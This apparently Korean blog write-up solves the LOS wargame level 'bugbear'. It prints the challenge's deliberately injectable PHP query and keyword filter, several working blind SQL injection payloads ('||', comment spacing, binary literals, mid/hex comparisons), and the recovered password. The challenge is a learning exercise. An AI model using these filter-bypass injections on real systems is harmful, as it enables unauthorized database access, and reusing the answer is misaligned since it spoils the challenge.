<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
<필터링 내용>
no : prob ) . () // ' substr ascii = or and 공백 like 0x
pw : '
'를 못쓰니까 no 변수에 injection 해줘야 할듯
길이부터 찾아봐야지.
일단 test용으로 guest로 로그인부터 해보자.
?no=1%7C%7C1>0%23
이제 값 자체를 구해볼 건데 역시 이번에도 지난번에 쓰던 파이썬 파일에서 query 부분만 바꿔서 사용할 예정이다.
길이 query
?no=0%7C%7Cid/**/in(0b0110000101100100011011010110100101101110)%26%26length(pw)>7
?no=0%7C%7Cid/**/in(0b0110000101100100011011010110100101101110)%26%26length(hex(pw))>7
길이는 역시나 8이다.
hex 로는 16
문자찾는 코드를 보자
?no=0%7C%7Cid/**/in(0b0110000101100100011011010110100101101110)%26%26mid(hex(pw),1,1)<___%23
pw : 52dc3??1 어딘가가 잘못된거같은데,,,,,
? 가 왜있지
부등호 바꿔서 짜보니까
3532646333393931 -> 52dc3991 이렇게 나온다.
52dc3991
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS-rubiya : Assassin (0) | 2020.08.03 |
---|---|
LOS_rubiya : Giant (0) | 2020.08.03 |
LOS -rubiya : Golem (0) | 2020.08.03 |
LOS -rubiya : Mummy (0) | 2020.07.12 |
LOS -rubiya : Incubus (0) | 2020.05.22 |